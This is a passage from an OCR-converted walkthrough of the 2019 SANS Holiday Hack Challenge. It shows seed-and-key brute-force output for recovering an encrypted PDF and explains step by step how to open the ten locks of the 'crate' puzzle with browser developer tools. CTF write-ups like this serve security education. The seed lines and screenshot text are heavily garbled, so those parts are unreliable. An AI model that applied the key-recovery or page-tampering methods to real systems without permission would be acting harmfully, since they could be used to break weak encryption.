Seed:1575663619 Key: 501d2d470abf1565 Bytes:	[b'>}R\xeeZ\xb6\xd6)']		
Seed:1575663620 Key: 5319f54654163df6 Bytes:	[b'\xfe0\x86\x11d9&b']		
Seed:1575663621 Key: 5616bd459f6c6587 Bytes:	[b'\xe3^\xe0\x9eS\xba*\xa7']		
Seed:15/5003022 Key: 5d128545e8C38e1/ Byles: Seed:1575663623 Key: 5d0e4e44341ab6a8 Bytes:	[D'*\XD8\XD0\X81] \XD1U'] [h']\ye2t \y18\yd5\yf8\ye3']		
Seed:1575663624 Key: 600b16437f71df39 Bytes:	[b'5\x91\x83\x99i\xa4\xd4\xe0']		
Seed:1575663625 Key: 6307de43c9c707c9 Bytes:	[b'_\x1f\xca\xe7\x1d\x88\x14<']		
Seed:1575663626 Key: 6704a642141e305a Bytes:	[b'\xc4\x1d\xf2M\xa9p\xd6\xc5']		
Seed:1575663627 Key: 6a006e415e7558eb Bytes:	[b'n\xf7\x07&y3\n\xa4']		
Seed:1575663629 Key: 70f9ff40f422a90c Bytes:	[b \xdo\xdod-u\xbo3\x17] [b'\xde\xae\r\xc2va\x18\xad']		
Seed:1575663630 Key: 74f5c73f3e79d19d Bytes:	[b'\x06\$3\r\xcdy\x19\xf6']		
Seed:1575663631 Key: 77f28f3f89d0fa2e Bytes:	[b'\x91\xbe\xd6\x88\xd6\xef\xdf\x9e']		
Seed:1575663632 Key: 7aee573ed32622bf Bytes:	[b'\x03H\xfb\xad0\xb4\r']		
Seed:1575663634 Key: /dealf3dle/d4b4t Bytes:	[b',r\x80\x9d\xd5\x0b-(']		
Seed:1575663635 Key: 84e3b03cb32b9c71 Bytes:	[b'\xf1\xb6\xddD\xc1\xde\xdd!']		
Seed:1575663636 Key: 87e0783bfe81c401 Bytes:	[b'X\x08\x01\xdf\xef\xd7\x7f\xae']		
Seed:1575663637 Key: 8bdc403a48d8ed92 Bytes:	[b'\xcb\x1c\x18 \xf9\xdb\x9f\x17']		
Seed:15/5663638 Key: 8ed8083a93211523 Bytes:	[D",\XaD\XD8\Xa/\Xad'\X8e\Xtd"] [b'ska/]\xdc\xe6\x85']		
Seed:1575663640 Key: 9105005900605604 Bytes:	[b '\xe4\x01\xcc\xc0x0w\xb2']		
Seed:1575663641 Key: 98ce613873338ed5 Bytes:	[b'c\x81\x91~\xf3\xdd%\xb4']		
Seed:1575663642 Key: 9bca2937bd8ab766 Bytes:	[b'E\x1f\xfc\x1e\x0e_\x17\x98']		
Seed:1575663643 Key: 9ec6f13608e1dff7 Bytes:	[b"\xba\xc0'5\xe4\x9c\x8f)"]		
Seed:15/5003044 Key: alc3D930523/088/ Bytes:	[b \x88\xa2Mr4H\xf6\x07']		
Seed: 1575663646 Key: abbra15590885018 Bytes:	[b'\xc9 \xf7\x0b5\x04\xb5Y']		
Seed:1575663647 Key: abb81234323b8139 Bytes:	[b'\x86?CS\x98\xe4\xf5\xb6']		
Seed:1575663648 Key: aeb5da337d92aaca Bytes:	[b"\xda'\xe4\xc5\xfb(wM"]		
Seed:1575663649 Key: b2b1a232c7e9d25b Bytes:	[b'C2\xa5^>\xd1\xf6y']		
Seed. 1575005050 Key: D540043212401bec Bytes:	[0 %F0F*1.5]		
FOUND IT! - Seed:1575663650 Key: b5ad6a321240fbe	c Bytes: [b'%PDF-1.3']		

FOUND IT! - Seed:1575663650 -- Key: b5ad6a321240fbec -- Bytes: [b'PDF-1.3']

Page 107 of 184


😎 10) Recover Cleartext Document

Difficulty:

The <u>Elfscrow Crypto</u> tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have <u>debug</u> <u>symbols</u> that you can use.

Recover the plaintext content for this <u>encrypted</u> <u>document</u>. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Machine Learning Sleigh Route Finder

Submit

📀 10) Recover Cleartext Document

Difficulty: **#####**

The <u>Elfscrow Crypto</u> tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have <u>debug</u> <u>symbols</u> that you can use.

Recover the plaintext content for this <u>encrypted</u> <u>document</u>. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Congratulations! You have completed the Recover Cleartext Document challenge!

Objective 11 – Open the Sleigh Shop Door

For this Objective, the summary given in the badge directs you to speak to Shinny Upatree in the Student Union, where he tells us:

 Shinny Upatree:

 Psst - hey!

 I'm Shinny Upatree, and I know what's going on!

 Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.

 In fact, I know WHO is causing all the trouble.

 Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

 The only way you could would be if you could break into my crate, here.

 You see, I've written the villain's name down on a piece of paper and hidden it away securely!

The crate site (https://crate.elfu.org/) is a web challenge that displays a virtual crate with 10 digital locks. Each lock has a challenge question which leads to an 8-character code that unlocks each lock. The answers to each lock are found by examining the DOM using the built-in browser developer tools accessed via F12 in the browser. Note that all codes are recalculated on every visit or refresh of the page, so refreshing the page will force you to start over. I found this challenge to be slightly more straightforward to solve in Firefox vs. Chrome, so below will be the solutions based on Firefox and its built-in developer tools. All locks need the developer tools pane open, so press F12 and leave it up for the duration of this Objective and it should look like this for Firefox:

🕞 🗘 Inspector 🕞 Console 🗅 Debugger ↑↓ Network {} Style Editor 🖓 Performance	re 🔃 Memory 🗄 Storage 🕇 Accessibility 📫 What's New 🗍 … 🗙
Q, Search HTML + 🗡	Trilter Styles :hov .cls + 🗈 🖬 Layout Computed Changes
html <html>[scroll] b choods im choods</html>	element 🗘 { inline Flexbox Select a Elev container or item to
▼ <ledu> </ledu>	html, body (D- { ed2999a3-7481-4769-9c8b-c4d571ffe6a2:24 continue.
<pre><div class="box">@=</div> <script src="/client.js/ed2999a3-7481-4769-9c8b-</pre></td><td>height: 100%;
padding: D 0;</td></tr><tr><td><pre>c4d571ffe6a2" type="text/javascript"></script> </pre>	margin: ▶ 0; CSS Grid is not in use on this page
	} * ↓ { ed2999a3-7481-4769-9c8b-c4d571ffe6a2:20 ▼ Box Model
	box-sizing: border-box; }
	Inherited from html
html > body	:root 🗘 { ed2999a3-7481-4769-9c8b-c4d571ffe6a2:3 padding 0

When you find a code, just click in the lock display window, type it in (must be 8-characters), and press UNLOCK button

LOCK #1:

Question:

I locked the crate with the villain's name inside. Can you get it out? You don't need a clever riddle to open the console and scroll a little.

Holiday Hack Trail Hint (HARD Mode):

"1 - When I'm down, my F12 key consoles me"

Solution:

1. Console tab - scroll up to the top and you will see the code in a green block.



LOCK #2:

Question:

Some codes are hard to spy, perhaps they'll show up on pulp with dye?

Holiday Hack Trail Hint (HARD Mode):

"2 - Reminds me of the transition to the paperless naughty/nice list..."

Solution:

- 1. Inspector tab scroll to the list item tag for the "c2-text instructions"
- 2. You will find it in the <div class="libra"> section



LOCK #3:

Question:

This code is still unknown; it was fetched but never shown.

Holiday Hack Trail Hint (HARD Mode):

"3 - Like a present stuck in the chimney! It got sent ... "

Solution:

1. Network tab - hover over the png file shown in the list or right click to view



LOCK #4:

Question:

Where might we keep the things we forage? Yes, of course: Local barrels!

Holiday Hack Trail Hint (HARD Mode):

"4 - We keep that next to the cookie jar"

Solution:

- 1. Storage tab under "local Storage"
- 2. Key/value pair will be shown and it's in the value field



LOCK #5:

Question:

Did you notice the code in the title? It may very well prove vital.

Holiday Hack Trail Hint (HARD Mode):

"5 - My title is toy maker the combination is 12345"

Solution:

1. Inspector tab - expand the "head" and then "title" section



LOCK #6:

Question:

In order for this hologram to be effective, it may be necessary to increase your perspective.

Holiday Hack Trail Hint (HARD Mode):

"6 - Are we making hologram elf trading cards this year?"

Solution:

- 1. Inspector tab
- 2. Scroll down to the list item for the instructions for this lock
- 3. Right click on this list item and "Expand All"
- 4. Find the div subsection for "sticker"
- 5. Then find the div subsection for "hologram"
- 6. Look to the right in "Filter Styles" window and for hologram you should see a "perspective" field with value "15px"
- 7. Change the "15px" to something between "7200px" and "7800px" to get the letters to line up in the proper order in the sticker image
- 8. Use that order to enter the code



LOCK #7:

Question:

The font you're seeing is pretty slick, but this lock's code was my first pick.

Holiday Hack Trail Hint (HARD Mode):

"7 - If we are, we should have a few fonts to choose from"

Solution:

- 1. Go to the "Style Editor" tab
- 2. Scroll down to the "inline style sheet #4" entry at the bottom of the list
- 3. The font-family will show the code

erock circ croce										N/6D	YWLD	- Mozilla	FI
Crack the Crate	× +												
-) → C' @	O	https://cr	ate.elfu.org	9	And the second se				Ŧ	111		Burg	=
		the font	you're	seeing	is prett	y slick,		Sec. 1					
	be	t this lo	ck's ca	de wa	s my fir	st pick.	C. Starte						
					Red	a hint?	and the second						
				BF	MICCM	IW Y							
					fler and			and a result in the party of the party					
n order for this hologram	to ^ v	Highlight <u>/</u>	ll Match	<u>C</u> ase <u>W</u>	hole Words				Service Co		15	1000	×
In order for this hologram	to へ ∨ e D Debu	Highlight <u>/</u> gger †↓ Neb 1 * .instruc	I Match work () St	Case W	hole Words	ce 10: Memo	ory 🗄 Storage	Accessibilit	y 🏦 What's	New	1251	<u>ں</u> ۔	×
in order for this hologram	to ^ ~ e D Debu \$ 56906c	Highlight 4 gger 14 Neb 1 * .instruc font-fa 3 4	Il Match work () St tions { stly: '8938;	<u>C</u> ase <u>W</u> yle Editor IMwy [,] , 'Be	(hole Words	ce () Memo	ory 🗄 Storage	🕇 Accessibilit	y 🏦 What's	New		<u>ں</u>	×
In order for this hologram	to へ ン le D Debu 栄 66906c	Highlight A goer 11 Neb 1 * instruc font-fo 3 }	work () st tions { aily: 'BPJB:	<u>C</u> ase <u>W</u> yle Editor IMwy', 'Be	Performan	ce () Memo	ory 🖹 Storage	Accessibilit	y 🎲 What's	New		o	× ×
In order for this hologram In order for thologram In order for this hologram In order for this hologra	to へ V le D Debu 茶 66906c	Highlight A gger 11 Net 1 * .instruc 2 font-fo 3 }	work () St tions { stly: 'BP38	Case W yle Editor IMWY', 'Be	thole Words	ce (): Memo	nry 🖹 Storage	Accessibilit	y 🏥 What's	New		<u>ں</u>	××
In order for this hologram	to ^ V le D Debu \$\$	Highlight A ager 14 Net 1 * instruc font-fa 3	work () st tions { sily: '6938:	<u>Case W</u> yle Editor IMWY', 'Be	hole Words	ce D Memo	nry 🖹 Storage	Accessibilit	y 🏦 What's	New		<u>م</u>	××
In order for this hologram Console Co	to A V le D Debu C Debu C Debu	Highlight / oper 14 Neb 1 * instruc 7 font-fo 4	I Match work () St tions { sily: BPJBJ	Case W yle Editor IMWY', 'Be	hole Words	ce iQ: Memo	nry 🖻 Storage	† Accessibilit	y ĝ What's	New		<u>م</u>	×××
In order for this hologram	to A V e D Debi \$ 66906c	Highlight 4	JI Match work () St tions { sily: SP3B;	<u>Case W</u> yle Editor IMWY', 'Be	hole Words	ce (): Memo	ny 🖻 Storage	Accessibilit	y 🏚 What's	New		۵	×××
In order for this hologram	to A V le D Debu * 66906c	Highlight 4	Il Match work () St Lions (sily: BPJB:	<u>Case W</u> yle Editor IMWY', 'Be	thole Words	ce iQ: Memo	nry 🖻 Storage	Accessibilit	y 🏦 What's	New		a	××
In order for this hologram In order for thologram In order for this hologram In order for this hologra	to A V le D Debu \$ 66906c	Highlight 4	I Match work () St thons (stly: GPJB)	<u>Case</u> <u>W</u> yle Editor IMMY', 'Be	hole Words	ce (): Memo	ny 🗄 Storage	* Accessibilit	y 🏚 What's	New		o	××
In order for this hologram	to ^ v le Debr	Highlight 4	Il Match	Case W yle Editor IMWY', 'Be	thole Words	ce iQ: Memo	ny 🖻 Storage	Accessibilit	y 🏚 What's	New		a	××
In order for this hologram In order for the thi	to A V	Highlight 4	Il Match	Case W yle Editor IMWY', 'Be	hole Words	ce () Memo	ny 🗄 Storage	Accessibilit	y 🏚 What's	New		a	××
In order for this hologram a solution In order for this hologram In order for this	to ^ v le Debu	Highlight 4	Il Match	Case W yle Editor IMWY', 'Be	thole Words	ce i (): Memo	ny 🖻 Storage	Accessibilit	y 🏚 What's	New		a	××

LOCK #8:

Question:

In the event that the .eggs go bad, you must figure out who will be sad.

Holiday Hack Trail Hint (HARD Mode):

"8 - The parents of spoiled kids go on the naughty list ... "

Solution:

- 1. Inspector tab search for ".eggs"
- 2. Click on the "event" associated with the ".eggs" span class
- 3. Click to expand the event window



Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: VERONICA

LOCK #9:

Question:

This next code will be unredacted, but only when all the chakras are :active.

Holiday Hack Trail Hint (HARD Mode):

"9 - Some toys have to be forced active"

Solution:

- 1. Style Editor tab select the large css with 62 rules
- 2. Click in right windows, Ctrl-F and search for "chakra"
- 3. Scroll down to the "nth-child" ":active:after" entries
- 4. The "content:" entries will show the order to enter the code, top-down.



LOCK #10:

Question:

Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

Holiday Hack Trail Hint (HARD Mode):

"10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!"

Solution:

- 1. Inspector tab
- 2. Scroll down to the last list item tag containing <div class="lock c10"> and expand it
- 3. Click on the "<div class="cover"> tag and press the delete key to delete this div class
- 4. Now the image of the lock should change to reveal the circuit board like this below:



5. Look at the lower right corner of the circuit board and printed there vertically in small print is the code



Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: KD29XJ37

- 6. Enter this code in the lock and press the switch button which looks like a small button in the lower center of the exposed circuit board.
- 7. However, nothing happens and the lock is still locked. To see why, you need to go to the Console tab. At the far right, unselect Warnings, Logs, Info, & Debug and make sure Errors is selected.
- 8. In the Console tab you should see an Error for "Missing macaroni!" like below:

	A https://crate.elfu.org	🖂 🛧	J III 🗊 🔊	Burp _	
and the second se		U W	⊻ m\ ⊡ ©		
Oth	nal This lack's out of commission !		and the second second		
		Contraction of the second		100	
A CARLES	Pop off the cover and locate what's	Party Party		Sec.	
	missing.				
	7 1 1. 12	C. Alternation	States and the second		
	Red a hint?	a state states			
	reuxesex				
Server and the server of the server	→ → Highlight <u>All</u> Match <u>Case</u> Whole Words			×	
Find in page				51 X	
Find in page	iole ⊃ Debugger ↑↓ Network {} Style Editor ⑦ Performan	nce 🗊 Memory 🖹 Stor	age »>	ш ···· ^	

- Go back to the top of the Inspector HTML tab and right click on the "body" tag to "Expand All"
 Search in the HTML search box for ".macaroni" and you will find a "<div class="component macaroni" in lock 7's instruction list item

.L. III) (E) (R ¹ Burp) =
⊻ m u ⊛ ● =
>
essibility 👬 What's New 🗍 🚥
· D Lavout Computed Changes
Layout Computed Changes
Layout Computed Changes Line Flexbox Select a Flex container or item to
Layout Computed Changes Flexbox Select a Flex container or item to continue.
C:20 Layout Computed Changes Line Flexbox Select a Flex container or item to continue. • Crid
Line Layout Computed Changes Line Flexbox Select a Flex container or item to continue. Forid CSS Grid is not in use on this page
Layout Computed Changes Line Flexbox Select a Flex container or item to continue. Grid CSS Grid is not in use on this page c;70 * Box Model
Layout Computed Changes Line Flexbox Select a Flex container or item to continue. Grid CSS Grid is not in use on this page c:70 Box Model
Dillayout Computed Changes Line Flexbox c:20 Select a Flex container or item to continue. Grid CSS Grid is not in use on this page c:70 Woodel
s + in 6906

11. Click on this <div> class and drag it down to place it inside of lock 10's div class as shown below:

Crack the Crate			N76DDJWY - Mozilla F
Crack the Crate	× +		
)→ ሮ ŵ	🛛 🖨 https://crate.elfu.org	··· 🗵 🕁	± III\ © ©° ም ≡
	Oh, no! This lock's out of commission!		
	Pop off the cover and locate what's		
A DESCRIPTION OF	missing.		
	Red a hirt?		
		•	
nd in page	Highlight All Match Case Whole Words		× ۲ بغ what's Naw
nd in page Inspector Conso macaroni	Highlight All Match Case Whole Words Le D Debugger 1 Network () Style Editor () Performance () Memory () + 2 V Filt	y 🔒 Storage 뷲 Accessibilit er Styles they cla + 🖸	y ∰ What's New ☐
nd in page () Inspector () Conso macaroni ::marker * <div class="lock i
::before
<input type=" td="" text<=""><td>Line Alton Case Whole Words Le D Debugger ↑↓ Network () Style Editor () Performance (): Memory Calor> kt" maxlength="8" data-id="10"> @vent() Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors kt" maxlength="8" data-id="10"> @vent() Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Le Debugger ↑↓ Network (): Memory Le</td><td>y ⊖ Storage † Accessibilit ter Styles they cls + ⊖ Int ⊕ { intine 4877-a377-56beb466986c:28 {</td><td>x x What's New Layout Computed Changes Flexbox Select a Flex container or item to continue.</td></div>	Line Alton Case Whole Words Le D Debugger ↑↓ Network () Style Editor () Performance (): Memory Calor> kt" maxlength="8" data-id="10"> @vent() Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors kt" maxlength="8" data-id="10"> @vent() Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Calors Le Debugger ↑↓ Network () Style Editor () Performance (): Memory Le Debugger ↑↓ Network (): Memory Le	y ⊖ Storage † Accessibilit ter Styles they cls + ⊖ Int ⊕ { intine 4877-a377-56beb466986c:28 {	x x What's New Layout Computed Changes Flexbox Select a Flex container or item to continue.
nd in page ind in page in Inspector Conso macaroni ::marker 	Line All Match ⊆ase Whole Words Le D Debugger ↑↓ Network () Style Editor () Performance () Memory Cl0*> Kt* maxlength=*8* data-id=*10*> @vent soment maxchronis* ddta-id=*10*> @vent borpswitch*	y 🕒 Storage 🕇 Accessibilit ter Styles show .ds + 🔅 nt Φ in line 4877-a377-56beb466966c:28 (x-sizing: border-box;	x x What's New Layout Computed Changes Flexbox Select a Flex container or item to continue. v Crid
ind in page Inspector Conso macaroni ::marker - <div class="lock i
::before
<input type=" tex<br=""><div class="lock i
::before
<input type=" tex<br=""><gan class="lock i
<gan class=" i<br="" lock=""><gan class="lock i
<gan class=" i<br="" lock=""></gan></gan></div></div>		y 😑 Storage 🕆 Accessibilit tar Styles they cls + 😳 nt Φ { inline 4877-a371-56beb466996c:20 (x-sizing: border-box; ted from ul	x x # What's New 1 x U Layout Computed Changes Flexbox Select a Flex container or item to continue. * Grid CSS Grid is not in use on this page
ind in page Inspector Conso 	Lindicator locked*×	y Storage † Accessibilit cer Styles they dis + 0 intine 4877-a377-56beb466906c:20 (x-sizing: border-box; ted from ul 4877-a377-56beb466906c:70	what's New if what's New if
nd in page Inspector Conso macaroni ::marker <div class="lock i
::before
<inyu type=" text<br="">class="lock ::before <inyu lock<br="" type="text
class=">::arker <span class="lock
::arker
</div
// loss=" lock<br="">::arker // loss="lock ::arker // loss="lock ::arker</inyu></div>	Lindicator Uncked*×	y ∈ Storage † Accessibilit ter Styles they .cls + ⊙ intine .4877.a371.56beb466906c:28 	
nd in page Inspector Conso macaroni ::marker * <div class="lock i
::before
<input type=" tes<br=""><div class="lock i
<pre>clutton class=" i<br="" lock="">::anput type="tes <div class="lock i
::anput type=" tes<br=""><div class="lock i
::anput type=" tes<br="">::anput type="tes ::anput typ</div></div></div></div></div></div></div></div></div>	Lindicator unlocked*>	y Storage † Accessibilit ter Styles they cls + @ ht \$\overline{1}{1} the 4877-a377-56beb466996c:20 (x-sizing: border-box; ted from ul 4877-a37f-56beb466996c:70 s \$\overline{1}{1} the ted from ul 4877-a37f-56beb466996c:70 ted from ted f	

12. Now click on the switch again. You will see nothing happens again. Going again to the Console tab, you see another error appears now for "Missing cotton swab!"







14. If you click the switch nothing happens again and you'll get one final error for "Missing gnome!" in Console tab:

🗧 🗐 Crack the Crate			N76DDJWY - Mozilla F
? Crack the Crate ×	+		
\leftrightarrow \rightarrow C $rac{1}{2}$	🗊 🚔 https://crate.elfu.org	ເ ☆	± II\ 🖸 📽 🕎 ≡
	Oh, no! This lock's out of commission!		
	Pop off the cover and locate what's		
	missing.		
	Need a hirt?		
	CEL×CSEN		
Find in page	∧ ∨ Highlight <u>All</u> Match <u>C</u> ase <u>W</u> hole Words		×
Console	⊃ Debugger ↑↓ Network {} Style Editor	y 🗄 Storage 🛉 Accessibility	📫 What's New 📋 🚥 🗙
		Farmer Introductor (40.3) Long (3)	Info Debug CSS XHR Requests
🗊 🗑 Filter Output		Errors Warnings (192) Logs (2)	
<pre>Pilter Output P Filter Output P Firror: "Missing macaroni!" 317784542493 https://cra</pre>	ste.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1	a0e780a5-	0291-4877-a371-56beb466906c:1:33639
P Filter Output 317784542493 https://cra ▶ Error: "Missing accaron!!" 17784542493 https://cra 317784542493 https://cra	ate.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1 b!" ate.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1	etrors warnings (192) Logs (2) a0e780a5- a0e780a5-	0291-4877-a37f-56beb466906c:1:33639 0291-4877-a37f-56beb466906c:1:33639
<pre>% Filter Output > Error: "Missing macaron!!" 317784542493 https://crd > Error: "Missing cotton swal 317784542493 https://crd 317784542493 https://crd</pre>	ate.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1 b!" ste.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1 ste.elfu.org/client.js/a0e780a5-0291-4877-a37f-56beb466906c:1	errors wornings (192) Logs (2) a0e780a5- a0e780a5- a0e780a5-	0291-4877-a37f-56beb466906c:1:33639 0291-4877-a37f-56beb466906c:1:33639 0291-4877-a37f-56beb466906c:1:33639

Once again, searching for ".gnome" in the Inspector tab, you'll find the <div> class in lock 2's section.

🕒 🗉 Crack the Crate				
Crack the Crate	× +			
-)→ C û	💿 🚔 https://crate.elfu.org		☺ ☆	y III/ 🗊 🌒 🎰
	Oh, no! This lock's out of com	nission!		
A State of States	2 11/1 10 1			
	fop off the cover and locat	e whats		And the second second second
The second second second		missing.		A State of Long Street of
	and the second state of the second			the second s
	Ned	a hint?		and the second sec
and the second second				
	C. MILLING	Mitenzia	Section of the	
	KIDON.	וחרו		
			and the second se	
		13.1	0	
			•	
			•	
			•	
	Highlight All Match Case, Whole Words			
ind in page	Highlight All Match Case Whole Words			ity 🔹 What's New
ind in page Consol gnome	Highlight All Match Case Whole Words Le Debugger N Network () Style Editor () Perform 1 of 1	ince O Memory + ✓ ♥ Filter	Storage † Accessibil Styles thow.ets + D	ity ∯ What's New □ •
ind in page	Highlight All Match Case Whole Words Le Debugger N Network () Style Editor () Perform 1 of 1	ince O Memory + ✓ ♥ Filter element	Storage † Accessibil Styles how cts + ¢ { inline	ity 🛊 What's New 🗍 • Layout Computed Changer • Flexbox
ind in page	Highlight All Match Case Whole Words Le Debugger N Network () Style Editor () Perform. 1 of 1	ince ① Memory + ≫ ♥ Filter element } _201.4!	Storage † Accessibil Styles how cls + © ¢ { inline	ity # What's New ① • • Layout Computed Changer • Flexbox Select a Flex container or item to
ind in page ind in page inspector Consol .gnome ::marker	Highlight All Match Case Whole Words Le Debugger N Network {} Style Editor () Perform. 1 of 1	ance ○ Memory +	Styles they de the state of the	ity 🛊 What's New 🗊 Layout Computed Changer Flexbox Select a Flex container or item to continue.
ind in page ind in page inspector Consol .gnomed * :imerker *<div class="*2tel<br">Some codes are h</div>	Highlight All Match Case Whole Words le Debugger N Network {} Style Editor () Perform 1 of 1 xt instructions"> highlight All Match Case Whole Words le Debugger N Network {} Style Editor () Perform 1 of 1	nce ① Memory + ≫ ♥ Filter -291-4i * ♀ (box-	Storage ↑ Accessibil Styles they dis + @ @ { inline styles/castron + @ @ { inline styles/castron + @ @ { inline styles/castron + @ @ { inline	ity 📑 What's New 🗊 • E Layout Computed Changer = Flexbox Select a Flex container or item to continue. = Grid
ind in page ind in page inspector Consol .gnomed 	t instructions"> highlight All Match Çase Whole Words ke Debugger ↑↓ Network {} Style Editor	nce ○ Memory + X ♥ Filter 291-4i > 0 (box- inheritee	Styles they also be addressibility of the second s	ity # What's New ① • • Layout Computed Changer • Flexbox Select a Flex container or item to continue. • Grid CSS Grid is not in use on this page
ind in page ind ind ind ind ind ind ind ind ind ind	Highlight All Match Case Whole Words Debugger 1 Network {} Style Editor () Perform inf 1 instructions"> inf 1 instructions"> inf 1 instructions"> inf 1 instructions"> inf 1	nce ① Memory + 》 ♥ Filter -291-41 * ♀ (box- } inheritee .instru	Styles they also the state of	ity 👔 What's New 🗍 • E Layout Computed Changer = Flexbox Select a Flex container or item to continue. = Grid CSS Grid is not in use on this page = Box Model
ind in page ind ind in page ind ind in page ind ind in page ind ind ind ind ind ind ind ind ind ind	<pre>kt instructions"> kt instructions" kt instructions" kt instructions" kt instructions" kt instructions k</pre>	nce ① Memory + ✓ ♥ Filter 291-41 * ○ (box- } Inheritee .instru	Styles how .cls + © \$77-a37f.56beb466966c:20 sizing: border-box; from div ctions © { inline:1 -family: '89281WW'; output:1000 (unstance)	ity 🛊 What's New 🗍 • E Layout Computed Changer • Flexbox Select a Flex container or item to continue. • Grid CSS Grid is not in use on this page • Box Model
ind in page ind in page inspector Consol 	Kt instructions"> Alt instructions" Alt instructions"> Alt instructions Alt instructins Alt instructins Alt instructions Alt instructions	Ince ① Memory + ✓ ♥ Filter = Lement } 	Storage + Accessibil Styles + P + I inline Tr.a377.56beb466906c:20 sizing: border-box; Sfrom div ctions Q (inline:1 .family: '823BIMM'', th Ellen', <u>cursive</u> ;	ity i What's New
ind in page ind ind ind ind ind ind ind ind ind ind	Highlight All Match ⊆ase Whole Words Highlight All Match ⊆ase Whole Words Pebugger ↑↓ Network {} Style Editor ⑦ Perform 1 of 1 to spy, perhaps they'll show up on putp with dye? ment gnowe* data-code="XJ0">	Ince € Memory + ♥ Filter + ♥ Filter + ♥ Filter + ♥ -291-48 -291-48	Storage Accessibil Styles hov.cls + Access	ity : What's New Layout Computed Change: Flexbox Select a Flex container or item to continue. Grid CSS Grid is not in use on this page Box Model Dorder



16. Now with all 3, macaroni, cotton swab and gnome showing on the circuit board image as shown above, now click the switch to unlock lock 10 and it immediately jumps to a new page to reveal the final note revealing the villain!

The villian is The Tooth Fairy 000 0 00 000 00 0 0000 Solved in: 6m 40s Rank: Casual

The answer to Objective 11 needed for the badge question is the string: The Tooth Fairy

11) Open the Sleigh Shop Door Difficulty: •••••• Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you etrieve for Shinny? For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth. The Tooth Fairy Submit It oppen the Sleigh Shop Door Difficulty: ••••• Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny? For hints on achieving this objective, please visit the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny? For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.

Congratulations! You have completed the Open the Sleigh Workshop Door challenge!

After completing this Objective, the Sleigh Shop Door in the Student Union should now be open and you can enter this room. Talk again with Shinny Upatree in the Student Union to get some additional detail on Objective 12.

Shinny Upatree

Wha - what?? You got into my crate?! Well that's embarrassing... But you know what? Hmm... If you're good enough to crack MY security... Do you think you could bring this all to a grand conclusion? Please go into the sleigh shop and see if you can finish this off! Stop the Tooth Fairy from ruining Santa's sleigh route!

Objective 12 - Filter Out Poisoned Sources of Weather Data

For this Objective, the summary given in the badge supplies you with the Zeek JSON logs (<u>https://downloads.elfu.org/http.log.gz</u>) you will need to analyze to solve this challenge. You also are supplied a link to the Sleigh Route Finder website (<u>https://srf.elfu.org/</u>). Shinny Upatree also provides the following additional information after solving Objective 11:

Shinny Upatree

Psst - hey!

I'm Shinny Upatree, and I know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel. In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out. The only way you could would be if you could break into <u>my crate</u>, here. You see, I've written the villain's name down on a piece of paper and hidden it away securely!

